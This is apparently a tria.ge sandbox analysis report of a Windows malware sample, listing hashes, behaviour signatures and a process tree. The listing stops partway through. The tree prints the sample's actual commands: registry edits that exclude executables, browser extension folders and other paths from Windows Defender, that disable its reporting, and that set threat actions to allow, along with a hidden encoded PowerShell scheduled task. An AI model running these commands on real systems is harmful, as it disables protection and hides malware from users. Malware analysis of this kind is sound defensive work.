Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/03/2024, 17:23

General

  • Target

    66615b8d126d43e44518f8e27603ce2ebc8e0639e38ce982f6d6ab3e8e0b8ac8.exe

  • Size

    7.5MB

  • MD5

    8a8b82bb2e5ff9a18fe32699a995c2c2

  • SHA1

    fd72da4d84d16e2bc9ae3b68cfc1b66b8dce0b59

  • SHA256

    66615b8d126d43e44518f8e27603ce2ebc8e0639e38ce982f6d6ab3e8e0b8ac8

  • SHA512

    2bb97a7129b9c1f3acef941bbae6fd73a874bc4c30340b6c2fe75a62cfb0aa806f1cbd7c97a83e68eb5750ebd6dd870c1246d414636f16a5946a4cb8906616f3

  • SSDEEP

    196608:91O0dNF9yTp4FUJLJJ8GDiYuWgNGrjbTDhRm28f4sjco:3O0/y4YsJYumDT9R04sR

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\66615b8d126d43e44518f8e27603ce2ebc8e0639e38ce982f6d6ab3e8e0b8ac8.exe
    "C:\Users\Admin\AppData\Local\Temp\66615b8d126d43e44518f8e27603ce2ebc8e0639e38ce982f6d6ab3e8e0b8ac8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Users\Admin\AppData\Local\Temp\7zS6A62.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Users\Admin\AppData\Local\Temp\7zS6DBE.tmp\Install.exe
        .\Install.exe /UTrdidPRrM "385118" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4024
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4552
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1560
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4676
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1076
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5032
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3796
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4408
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1864
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gotdJziXS" /SC once /ST 03:19:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:2628
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gotdJziXS"
                  4⤵
                    PID:3124
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gotdJziXS"
                    4⤵
                      PID:1656
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 17:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\SfPBazR.exe\" id /Ggsite_idrMd 385118 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:2324
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4076
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:2016
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:3688
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:3184
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:676
                      • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\SfPBazR.exe
                        C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\SfPBazR.exe id /Ggsite_idrMd 385118 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:3272
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4872
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4664
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:3920
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2392
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4348
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4896
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4568
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1808
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3688
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:1516
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3584
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4336
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4748
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:788
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3904
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:2912
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3320
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4888
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3344
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4756
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:1764
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:792
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:2000
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1072
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:992
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3876
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:2492
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:4252
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:3032
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:1932
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1612
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:4984
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:1968
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2844
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:2968
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3136
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1828
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:656
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4532
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3464
                                                                                                    • C:\Windows\SysWOW64\reg.exe
